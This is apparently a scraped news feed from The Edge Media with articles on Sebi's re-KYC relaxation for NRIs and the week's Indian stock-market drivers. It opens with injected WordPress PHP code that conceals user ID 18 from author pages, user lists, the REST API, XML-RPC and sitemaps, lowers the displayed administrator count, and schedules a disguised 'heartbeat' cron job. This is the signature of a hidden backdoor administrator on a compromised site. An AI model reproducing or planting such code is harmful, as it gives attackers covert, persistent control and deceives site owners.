add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sebi Simplifies Re-KYC for NRIs, Lifts India-Based Presence Requirement for Digital Verification appeared first on The Edge Media.
]]>In a newly issued circular,
Sebi announced amendments to the existing guidelines after receiving representations from various stakeholders seeking simpler procedures.
Under the revised rules, the earlier condition that clients must be located within India during digital onboarding has now been relaxed specifically for re-KYC of existing NRI customers.
Re-KYC involves updating or reaffirming a client’s previously submitted KYC information with financial intermediaries.
Although onboarding new clients still requires the applicant to be physically situated in India, NRIs who are already registered can now complete their re-KYC from overseas. Sebi has maintained several security checks—such as random prompts, time stamps, and geo-tagging—to ensure the authenticity of the process.
Additionally, the digital KYC application must confirm that the GPS coordinates align with the country specified in the customer’s address proof, and it must block attempts using spoofed IP addresses to prevent falsified locations.
The post Sebi Simplifies Re-KYC for NRIs, Lifts India-Based Presence Requirement for Digital Verification appeared first on The Edge Media.
]]>The post Key Factors Influencing the Stock Market This Week appeared first on The Edge Media.
]]>Domestic Economic Indicators
This week is crucial for the Indian market as several key macroeconomic data points are due for release. Attention will be centered on India’s Consumer Price Index (CPI) and Wholesale Price Index (WPI) figures, which will help assess the inflation pattern and potential policy directions.
Corporate Earnings to Watch
Quarterly results from major companies such as ONGC, Bajaj Finserv, Asian Paints, Tata Steel, and Oil India will provide important signals for various sectors. Market participants will be closely monitoring these earnings to gauge the overall corporate performance and industry outlook.
Global and Currency Influences
Movements in the rupee against the US dollar and fluctuations in Brent crude prices will be significant in determining investor confidence. These global factors often influence domestic market sentiment and portfolio decisions.
Expert Insights
According to Ponmudi R, CEO of Enrich Money, both domestic and international economic conditions will shape investor mood this week. The release of October’s CPI inflation data is expected to offer more clarity on the future course of interest rates.
Globally, the ongoing US government shutdown has paused the release of critical economic reports, creating uncertainty among investors and policymakers trying to evaluate the actual condition of the US economy.
Recent Market Performance
In the previous, holiday-shortened week, the BSE Sensex declined by 722.43 points, while the NSE Nifty dropped by 229.8 points, reflecting a weak market sentiment.
Outlook Ahead
Vinod Nair, Head of Research at Geojit Investments, noted that the market’s next direction will depend on upcoming inflation figures, foreign institutional investor (FII) flows, developments in the US government situation, and the progress of trade negotiations among the US, India, and China.
The post Key Factors Influencing the Stock Market This Week appeared first on The Edge Media.
]]>